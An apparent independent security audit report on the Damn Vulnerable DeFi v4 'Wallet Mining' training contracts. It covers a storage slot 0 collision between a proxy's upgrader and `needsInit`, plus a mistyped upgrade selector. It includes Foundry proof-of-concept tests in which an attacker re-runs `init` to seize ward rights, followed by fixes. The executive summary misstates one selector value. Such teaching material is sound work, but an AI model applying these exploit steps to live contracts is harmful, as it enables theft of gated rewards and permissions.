

Damn Vulnerable DeFi, Wallet Mining Security Review

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

date: August 1, 2026

Table of contents

See table

1. Damn Vulnerable DeFi, Wallet Mining Security Review
2. [Table of contents](#)
3. [About Me](#)
4. [Disclaimer](#)
5. [Risk Classification](#)
6. [Audit Details](#)
7. [Scope](#)
8. [Protocol Summary](#)
9. [Roles](#)
10. [Executive Summary](#)
11. [Issues found](#)
12. [Findings](#)

About Me

I'm a smart contract auditor focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The project is Damn Vulnerable DeFi v4, the Wallet Mining challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is August 1, 2026. Tools used were manual review and Foundry (forge) for the PoC, Slither, Aderyn.

Scope

```
src/wallet-mining/  
  TransparentProxy.sol  
  AuthorizerUpgradeable.sol  
  AuthorizerFactory.sol  
  WalletDeployer.sol
```

The findings in this report are in the proxy and the authorizer. `AuthorizerFactory.sol` is covered because it is the contract that triggers [H-1] on every deployment. `WalletDeployer.sol` was read as the consumer of the authorizer and is where the impact lands.

Protocol Summary

Wallet Mining pays people for deploying Gnosis Safe wallets, and puts an optional permission layer in front of that reward.

`WalletDeployer.sol` is the paying contract. Anyone calls `drop`, which deploys a Safe through the Safe proxy factory and pays the caller 1 token if the deployment matches the address they asked for. The contract starts open to everyone. The `chief` can call `rule` once to install an authorizer contract, and from that moment `drop` first asks that authorizer whether the caller is allowed to deploy to that target. The question is asked through the `assembly can` function, which staticcalls the authorizer stored in slot 0.

`AuthorizerUpgradeable.sol` is that authorizer. It keeps a two level mapping called `wards`, where `wards[user][target] == 1` means this user is allowed to deploy to this target. It is written to be used behind a proxy, so instead of a constructor it has an `init` function, guarded by a `needsInit` flag that is supposed to be set to zero once and never opened again.

`TransparentProxy.sol` is the proxy in front of it. It is an `ERC1967Proxy` with one extra idea, an `upgrader` role that is separate from the admin. The admin sets who the upgrader is, and the fallback gives that upgrader a private path to `upgradeToAndCall` while everybody else is forwarded to the implementation as normal.

`AuthorizerFactory.sol` wires the three together. In one call it deploys a fresh implementation, deploys the proxy with the `init` call as constructor data, asserts that `needsInit` came back as zero, and then calls `setUpgrader`.

Roles

There are five roles. The **deployer** runs the factory and ends up as the proxy admin. The **admin** is the only account allowed to call `setUpgrader`. The **upgrader** is the account the fallback lets through to `upgradeToAndCall`. A **ward** is an address that has been granted permission over a target address and can therefore claim the deployment reward through `WalletDeployer.drop`. The **chief** is the account in `WalletDeployer` allowed to install the authorizer, once. Everyone else is an ordinary user, who can call `drop` freely before an authorizer is installed and never afterwards.

Executive Summary

The authorizer is meant to be initialized exactly once and then locked forever. It is not. The proxy and the implementation both put their first variable in storage slot 0, so the proxy upgrader address and the implementation `needsInit` flag are the same 32 bytes under two different names. Writing an upgrader address into that slot makes `needsInit` read back as a huge non zero number, which reopens `init`, and `init` has no caller check at all.

This is not a maybe. `AuthorizerFactory.deployWithProxy` calls `setUpgrader` on the line right after it asserts the invariant, so every authorizer this protocol deploys comes out of its own factory with `init` already open, in the same transaction. The `assert(needsInit() == 0)` passes only because it runs before that call. Any address can then call `init`, grant itself ward rights over any target, and collect the deployment rewards the authorizer exists to gate. The same write also wipes upgrader back to zero, so the proxy loses its upgrader every time.

A second, separate bug sits in the upgrade path. The fallback compares the incoming selector against `keccak256("upgradeToAndCall(address, bytes)")`, with a space in the signature. Canonical signatures have no spaces, so this hashes to `0xc553a4d` rather than the real `0x4f1ef286`. Every standard upgrade call is rejected, and because the upgrader branch never falls through, the upgrader account is also blocked from every other function on the proxy.

Issues found

Severity	Number of issues found
High	1
Medium	1
Low	0
Informational	2
Total	4

ID	Title	Severity
[H-1]	The proxy keeps upgrader in slot 0, the same slot the logic contract uses for <code>needsInit</code> , so setting an upgrader reopens <code>init</code> for everybody	High
[M-1]	The upgrade check builds the function selector from a signature with a space in it	Medium

ID	Title	Severity
[I-1]	isUpgrader returns true for the zero address while upgrader is unset	Informational
[I-2]	The upgrade require has no error message	Informational

Findings

High

[H-1] The proxy keeps upgrader in slot 0, the same slot the logic contract uses for needsInit, so setting an upgrader reopens init for everybody

Description:

TransparentProxy stores its own variable in normal storage.

```
// src/wallet-mining/TransparentProxy.sol:12-22
contract TransparentProxy is ERC1967Proxy {
    address public upgrader = msg.sender;

    constructor(address _logic, bytes memory _data)
    ERC1967Proxy(_logic, _data) {
        ERC1967Utils.changeAdmin(msg.sender);
    }

    function setUpgrader(address who) external {
        require(msg.sender == ERC1967Utils.getAdmin(), "!admin");
        upgrader = who;
    }
}
```

upgrader is the first variable in the proxy, so it lives in storage slot 0. The logic contract puts its own first variable in the same slot.

```
// src/wallet-mining/AuthorizerUpgradeable.sol:5-7
contract AuthorizerUpgradeable {
    uint256 public needsInit = 1;
    mapping(address => mapping(address => uint256)) private wards;
```

A proxy runs the logic code with `delegatecall`, which means the logic writes into the proxy storage. So `upgrader` and `needsInit` are not two variables. They are one slot with two names. Whatever the proxy writes there, the logic reads back as `needsInit`, and the other way around.

Two things follow from that ;

First, at deploy time the value written last wins. Solidity runs the inline value = msg.sender before the base constructor body, and the base constructor is the one that delegatecalls init. So init finishes by writing needsInit = 0 on top of the address, and upgrader comes out as the zero address. The proxy silently loses its upgrader.

Second, and this is the real problem, someone then calls setUpgrader to put a real upgrader back. That call writes an address into slot 0. An address is a big non zero number, so the logic contract now reads needsInit as a huge non zero value. The guard inside init only checks needsInit != 0, so init is unlocked again, and it has no caller check at all.

```
// src/wallet-mining/AuthorizerUpgradeable.sol:15-21
function init(address[] memory _wards, address[] memory _aims)
external {
    require(needsInit != 0, "cannot init");
    for (uint256 i = 0; i < _wards.length; i++) {
        _rely(_wards[i], _aims[i]);
    }
    needsInit = 0;
}
```

Anyone can now call init and hand themselves ward rights over any target they want. The old wards are not removed, the attacker is simply added next to them.

This is not something that only happens if an admin makes a mistake later. The protocol's own factory does it on every deployment.

```
// src/wallet-mining/AuthorizerFactory.sol:9-22
function deployWithProxy(address[] memory wards, address[] memory
aims, address upgrader)
    external
    returns (address authorizer)
{
    authorizer = address(
        new TransparentProxy( // proxy
            address(new AuthorizerUpgradeable()), //
implementation
            abi.encodeCall(AuthorizerUpgradeable.init, (wards,
aims)) // init data
        )
    );
    assert(AuthorizerUpgradeable(authorizer).needsInit() == 0); //
invariant
    TransparentProxy(payable(authorizer)).setUpgrader(upgrader);
}
```

Read the last two lines in order. The `assert` checks the invariant and passes, because at that moment slot 0 really is zero. Then the very next line writes the upgrader address into that same slot and breaks the invariant it just checked. The check is one line too early to catch anything. So every authorizer this protocol deploys leaves the factory with `init` already open, in the same transaction, with no admin mistake anywhere.

Impact:

Likelihood High. Nothing has to go wrong for this to happen. `AuthorizerFactory.deployWithProxy` calls `setUpgrader` itself, so every authorizer is born with `init` open and stays that way until someone calls it.

Risk High. The authorizer is the contract that decides who is allowed to act on a wallet. An attacker who can call `init` becomes an approved ward and gets the exact permission the authorizer was built to protect. The same write also wipes `upgrader` back to zero every time, so the proxy is left with no upgrader again.

Proof of Concept:

Deploy the proxy the normal way, let the admin set an upgrader, then let a random attacker call `init`.

```
function test_slotZeroCollisionReopensInit() public {
    console.log("AFTER DEPLOY");
    console.log("upgrader :", proxy.upgrader());
    console.log("needsInit:", authorizer.needsInit());

    assertEq(proxy.upgrader(), address(0), "init should have wiped
upgrader");

    address newUpgrader = makeAddr("newUpgrader");
    vm.prank(deployer);
    proxy.setUpgrader(newUpgrader);

    console.log("AFTER setUpgrader");
    console.log("upgrader :", proxy.upgrader());
    console.log("needsInit:", authorizer.needsInit());

    assertTrue(authorizer.needsInit() != 0, "init should be locked
but it is open again");

    address[] memory w = new address[](1);
    address[] memory a = new address[](1);
    w[0] = attacker;
    a[0] = aim;
    vm.prank(attacker);
    authorizer.init(w, a);

    console.log("AFTER attacker re init");
```

```

        console.log("attacker can act on aim:",
authorizer.can(attacker, aim));
        console.log("upgrader wiped again    :", proxy.upgrader());

        assertTrue(authorizer.can(attacker, aim), "attacker did not
gain ward rights");
        assertEquals(proxy.upgrader(), address(0), "upgrader should be
wiped again");
    }
}

```

Run `forge test --match-test test_slotZeroCollisionReopensInit -vv:`

```
[PASS] test_slotZeroCollisionReopensInit() (gas: 78791)
```

Logs:

```

    AFTER DEPLOY
    upgrader : 0x0000000000000000000000000000000000000000000000000000000000000000
    needsInit: 0
    AFTER setUpgrader
    upgrader : 0x78463bAa0aCbD5E66cEaa157a2fbE03ab2c172F4
    needsInit: 686645142149980891571538421642934466304844854004

    AFTER attacker re init
    attacker can act on aim: true
    upgrader wiped again    :
0x0000000000000000000000000000000000000000000000000000000000000000

```

Suite result: ok. 1 passed; 0 failed; 0 skipped

Look at the number printed for `needsInit` after `setUpgrader`. It is not a counter, it is the upgrader address read as a `uint256`. That is the collision in one line. Right after that an attacker who owns nothing calls `init` and walks away with ward rights.

The same thing happens straight through the factory, with no manual `setUpgrader` step at all.

```

function test_factoryLeavesInitOpen() public {
    AuthorizerFactory f = new AuthorizerFactory();
    address auth = f.deployWithProxy(w, a, upgrader);

    console.log("needsInit right after factory deploy:",
AuthorizerUpgradeable(auth).needsInit());

    vm.prank(attacker);
    AuthorizerUpgradeable(auth).init(w2, a2);
    console.log("attacker is ward:",
AuthorizerUpgradeable(auth).can(attacker, a[0]));
}

```

```
[PASS] test_factoryLeavesInitOpen() (gas: 1554555)
```

Logs:

```
    needsInit right after factory deploy:
```


715900651046778904259522411305022214153552994298

attacker is ward: true

The authorizer comes out of the factory with the invariant already broken, and an attacker takes ward rights in the next transaction.

Recommended Mitigation:

Two things have to change, and both are needed.

Part 1. Move upgrader out of the plain slots.

Don't store upgrader in normal storage slots. Put it in a unique storage slot so it can't collide with the implementation's variables.

```
// src/wallet-mining/TransparentProxy.sol
+ import {ITransparentUpgradeableProxy} from
+     "@openzeppelin/contracts/proxy/transparent/
+         TransparentUpgradeableProxy.sol";
+ import {StorageSlot} from "@openzeppelin/contracts/utils/
+     StorageSlot.sol";

contract TransparentProxy is ERC1967Proxy {
-     address public upgrader = msg.sender;
+     // cast index-erc7201 wallet-mining.storage.TransparentProxy
+     bytes32 private constant UPGRADER_SLOT =
+
+         0x9549fbb5ff89b3db38ecba5fc41e76d9599cf5731cc3b00b86a750ef0b9b0b00;
+
+     event UpgraderChanged(address indexed previous, address
+         indexed current);
+
+     error NotAdmin();
+     error ZeroUpgrader();

    constructor(address _logic, bytes memory _data)
        ERC1967Proxy(_logic, _data) {
        ERC1967Utils.changeAdmin(msg.sender);
+         _setUpgrader(msg.sender);
    }

+     function upgrader() public view returns (address) {
+         return StorageSlot.getAddressSlot(UPGRADER_SLOT).value;
+     }
+
+     function _setUpgrader(address who) private {
+         emit UpgraderChanged(upgrader(), who);
+         StorageSlot.getAddressSlot(UPGRADER_SLOT).value = who;
+     }
+
    function setUpgrader(address who) external {
-         require(msg.sender == ERC1967Utils.getAdmin(), "!
            admin");
```

```

-         upgrader = who;
+         if (msg.sender != ERC1967Utils.getAdmin()) revert
            NotAdmin();
+         if (who == address(0)) revert ZeroUpgrader();
+         _setUpgrader(who);
    }

```

StorageSlot is only a thin wrapper over sload and sstore, so this costs the same as the broken version. What it buys is that the slot is now chosen on purpose instead of by accident. Once upgrader lives there, the order in which the constructor runs stops mattering at all, because init writes to slot 0 and the proxy writes to a hashed slot, and those two can never meet again. That also removes [I-1] on the way, since the zero address is rejected.

Part 2. Give init a real guard instead of a flag.

A public counter in slot 0 is not a lock. Anything that can write that slot can open it, which is exactly what happened here. Use OpenZeppelin Initializable, whose own flag lives in a hashed slot that nothing else touches, and move the wards mapping into a namespaced struct so the whole contract stops using plain slots too. _disableInitializers() in the constructor replaces the old needsInit = 0 trick and freezes the implementation properly.

```

// src/wallet-mining/AuthorizerUpgradeable.sol
+ import {Initializable} from "@openzeppelin/contracts/proxy/
    utils/Initializable.sol";

- contract AuthorizerUpgradeable {
-     uint256 public needsInit = 1;
-     mapping(address => mapping(address => uint256)) private
        wards;
+ contract AuthorizerUpgradeable is Initializable {
+     /// @custom:storage-location erc7201:wallet-
        mining.storage.Authorizer
+     struct AuthorizerStorage {
+         mapping(address => mapping(address => uint256)) wards;
+     }
+
+     // cast index-erc7201 wallet-mining.storage.Authorizer
+     bytes32 private constant AUTHORIZER_STORAGE =
+
        0x44554a3f897f237914b634cc22f6968502759433062df5d9a714f7299241ce00;
+
+     error LengthMismatch();

    constructor() {
-         needsInit = 0; // freeze implementation
+         _disableInitializers();
    }

```

```

-     function init(address[] memory _wards, address[] memory
      _aims) external {
-         require(needsInit != 0, "cannot init");
+     function init(address[] memory _wards, address[] memory
      _aims) external initializer {
+         if (_wards.length != _aims.length) revert
      LengthMismatch();
            for (uint256 i = 0; i < _wards.length; i++) {
                _rely(_wards[i], _aims[i]);
            }
-         needsInit = 0;
        }
+
+     function _s() private pure returns (AuthorizerStorage
      storage $) {
+         assembly { $.slot := AUTHORIZER_STORAGE }
+     }

```

`_rely` and can then read `_s().wards[...]` instead of `wards[...]`.

The length check is worth adding while you are here. The original loop reads `_aims[i]` while looping over `_wards`, so a longer `_wards` array reverts with a bare array bounds panic and a shorter one silently ignores the extra aims.

Why the guard is the part that actually saves the protocol.

The slot fix stops this exact attack path. The `initializer` guard is what makes `init` safe no matter what else goes wrong later, because it can only ever run once in the life of the proxy, and no storage write anywhere can reopen it. If a future upgrade adds another variable to the proxy and lands on slot 0 again, Part 1 alone would break a second time, while Part 2 still holds. That is why both go in.

Also fix the invariant check in the factory.

`AuthorizerFactory.deployWithProxy` asserts `needsInit() == 0` and then breaks it on the next line. Once Part 2 is in, `needsInit` is gone and that assert has to go with it. Replace it with a check that still means something after the last write, for example asserting that `upgrader()` is the address that was asked for and that a second `init` reverts. An invariant checked before the last state change is not an invariant.

One thing to plan for. Removing `needsInit` changes the storage layout and drops the public `needsInit()` getter from the ABI. On a fresh deploy that is fine. On a proxy that is already live, the old wards sit in the old slots and the new code reads a different place, so they have to be migrated in the upgrade call, and anything off chain that reads `needsInit()` has to be updated.

Verified:

```
Run forge test --match-path test/wallet-mining/  
TransparentProxyFixed.t.sol -vv:
```

```
Ran 3 tests for test/wallet-mining/  
TransparentProxyFixed.t.sol:TransparentProxyFixedTest  
[PASS] test_fixed_implementationIsFrozen() (gas: 20295)
```

```
Logs:  
    direct init on implementation reverted
```

```
[PASS] test_fixed_noSlotCollision() (gas: 66541)
```

```
Logs:  
    AFTER DEPLOY  
    upgrader survived init:  
0xae0bDc4eEAC5E950B67C6819B118761CaAF61946  
    original ward intact : true  
    AFTER setUpgrader  
    upgrader: 0x78463bAa0aCbD5E66cEaa157a2fbE03ab2c172F4  
    attacker re init reverted, attacker is ward: false
```

```
[PASS] test_fixed_selectorAndFallthrough() (gas: 321794)
```

```
Logs:  
    standard upgradeToAndCall works : true  
    upgrader can call can() : true  
    non upgrader can upgrade : false
```

```
Suite result: ok. 3 passed; 0 failed; 0 skipped
```

Compare the first two lines with the [H-1] proof of concept. The upgrader now survives `init` instead of being wiped to zero, the original ward is still there, and the attacker calling `init` after `setUpgrader` reverts with `InvalidInitialization` instead of walking away with ward rights.

Medium

[M-1] The upgrade check builds the function selector from a signature with a space in it, so the real `upgradeToAndCall` is rejected and the upgrader is locked out of every other call

Description:

The fallback checks the incoming selector before it lets an upgrade through.

```
// src/wallet-mining/TransparentProxy.sol:28-40  
function _fallback() internal override {  
    if (isUpgrader(msg.sender)) {  
        require(msg.sig ==  
bytes4(keccak256("upgradeToAndCall(address, bytes)")));  
        _dispatchUpgradeToAndCall();  
    } else {
```

```

        super._fallback();
    }
}

function _dispatchUpgradeToAndCall() private {
    (address newImplementation, bytes memory data) =
abi.decode(msg.data[4:], (address, bytes));
    ERC1967Utils.upgradeToAndCall(newImplementation, data);
}

```

A function selector is the first 4 bytes of the keccak hash of the function signature, and that signature is written with no spaces between the argument types. The string here has a space after the comma, so it hashes to a completely different value.

```

keccak256("upgradeToAndCall(address,bytes)") -> selector
0x4f1ef286    the real one
keccak256("upgradeToAndCall(address, bytes)") -> selector
0xcf553a4d    the one in the code

```

So the contract is waiting for 0xcf553a4d, while every wallet, script, interface and block explorer sends 0x4f1ef286. The normal upgrade call always fails the `require` and reverts.

The upgrade path is not dead though. `_dispatchUpgradeToAndCall` never looks at those first 4 bytes again, it just skips them with `msg.data[4:]` and decodes the rest. Someone who knows the quirk can hand build calldata that starts with 0xcf553a4d and the upgrade goes through. The `abi.decode(msg.data[4:], (address, bytes))` line itself is correct and is not the bug here.

There is a second effect. This `_fallback` sends the upgrader down the upgrade branch and never falls back to `super._fallback()`. So when the upgrader calls any normal function of the logic contract, the call does not get forwarded, it hits the `require` and reverts. The upgrader address cannot use the proxy for anything else at all.

Impact:

Likelihood High. It happens on the first upgrade attempt and on every ordinary call the upgrader makes.

Risk Medium. What breaks is that the contract does not behave the way its interface says it does. A team upgrading through a Safe, a script or a block explorer sees the upgrade revert with no reason string and cannot tell why, and the upgrader account is frozen out of every other function.

Proof of Concept:

```

function test_wrongFunctionSelector() public {
    address newUpgrader = makeAddr("newUpgrader");

```

```

    vm.prank(deployer);
    proxy.setUpgrader(newUpgrader);

    console.log("canonical selector:",
vm.toString(bytes4(keccak256("upgradeToAndCall(address,bytes)"))));
    console.log("selector in code  :",
vm.toString(bytes4(keccak256("upgradeToAndCall(address,
bytes)"))));

    vm.prank(newUpgrader);
    (bool standardOk,) =

address(proxy).call(abi.encodeWithSignature("upgradeToAndCall(address,
address(impl), ""));

    vm.prank(newUpgrader);
    (bool weirdOk,) = address(proxy).call(

abi.encodeWithSelector(bytes4(keccak256("upgradeToAndCall(address,
bytes)")), address(impl), ""
);

    vm.prank(newUpgrader);
    (bool readOk,) =
address(proxy).call(abi.encodeWithSignature("needsInit()"));

    console.log("standard upgradeToAndCall works:", standardOk);
    console.log("odd selector 0xcf553a4d works  :", weirdOk);
    console.log("upgrader can read needsInit    :", readOk);

    assertFalse(standardOk, "standard selector should have been
rejected");
    assertTrue(weirdOk, "odd selector should have been accepted");
    assertFalse(readOk, "upgrader should be locked out of normal
calls");
}

```

Run `forge test --match-test test_wrongFunctionSelector -vv:`

```

[PASS] test_wrongFunctionSelector() (gas: 58869)
Logs:
    canonical selector:
0x4f1ef28600000000000000000000000000000000000000000000000000000000
    selector in code  :
0xcf553a4d00000000000000000000000000000000000000000000000000000000
    standard upgradeToAndCall works: false
    odd selector 0xcf553a4d works  : true
    upgrader can read needsInit    : false

```

Suite result: ok. 1 passed; 0 failed; 0 skipped

The proper call fails, the odd one succeeds, and a plain read from the upgrader is blocked.

Recommended Mitigation:

Never spell a selector out by hand in a string. Take it from the interface, so the compiler computes it and a typo becomes impossible. Also let anything that is not an upgrade fall through to the normal proxy path.

```
// src/wallet-mining/TransparentProxy.sol
+ import {ITransparentUpgradeableProxy} from
+     "@openzeppelin/contracts/proxy/transparent/
+         TransparentUpgradeableProxy.sol";

    function _fallback() internal override {
-         if (isUpgrader(msg.sender)) {
-             require(msg.sig ==
-                 bytes4(keccak256("upgradeToAndCall(address, bytes)")));
-             _dispatchUpgradeToAndCall();
-         } else {
-             super._fallback();
-         }
+         if (isUpgrader(msg.sender) && msg.sig ==
+             ITransparentUpgradeableProxy.upgradeToAndCall.selector) {
+             _dispatchUpgradeToAndCall();
+         } else {
+             super._fallback();
+         }
    }
}
```

Note the interface. IERC1967 only declares the events, so IERC1967.upgradeToAndCall.selector does not compile. The declaration lives in ITransparentUpgradeableProxy, which is the right one for this pattern anyway.

Informational

[I-1] isUpgrader returns true for the zero address while upgrader is unset

Description:

```
// src/wallet-mining/TransparentProxy.sol:24-26
function isUpgrader(address who) public view returns (bool) {
    return who == upgrader;
}
```

Because of [H-1] upgrader sits at the zero address right after deploy, and it goes back to zero every time init runs. There is no check that rejects the zero address, so isUpgrader(address(0)) reads as true.

Nothing can be exploited through this on chain today, since `msg.sender` is never the zero address in a real call. It still matters for anything off chain that asks the contract who the upgrader is, a monitoring script or a front end reading `isUpgrader`, because it gets a confident yes for an address that should never be trusted.

Impact:

Likelihood Low Risk Informational

Proof of Concept:

N/A

Recommended Mitigation:

Reject the zero address

```
// src/wallet-mining/TransparentProxy.sol
function setUpgrader(address who) external {
    require(msg.sender == ERC1967Utils.getAdmin(), "!admin");
+   require(who != address(0), "zero upgrader");
    upgrader = who;
}

function isUpgrader(address who) public view returns (bool) {
-   return who == upgrader;
+   return who != address(0) && who == upgrader;
}
```

[I-2] The upgrade require has no error message

Description:

```
// src/wallet-mining/TransparentProxy.sol:30
require(msg.sig == bytes4(keccak256("upgradeToAndCall(address,
bytes)"))));
```

This reverts with nothing attached. Combined with [M-1], where every standard upgrade call fails, an operator sees a bare revert and no hint about what went wrong. A message or a custom error would have made that typo obvious on the first try.

Impact:

Likelihood Low Risk Informational

Proof of Concept:

N/A

Recommended Mitigation:

In `src/wallet-mining/TransparentProxy.sol`, use a custom error instead of the bare `require`.

```
// src/wallet-mining/TransparentProxy.sol
+ error NotUpgradeCall();
+
- require(msg.sig == bytes4(keccak256("upgradeToAndCall(address,
    bytes)")));
+ if (msg.sig !=
    ITransparentUpgradeableProxy.upgradeToAndCall.selector)
    revert NotUpgradeCall();
```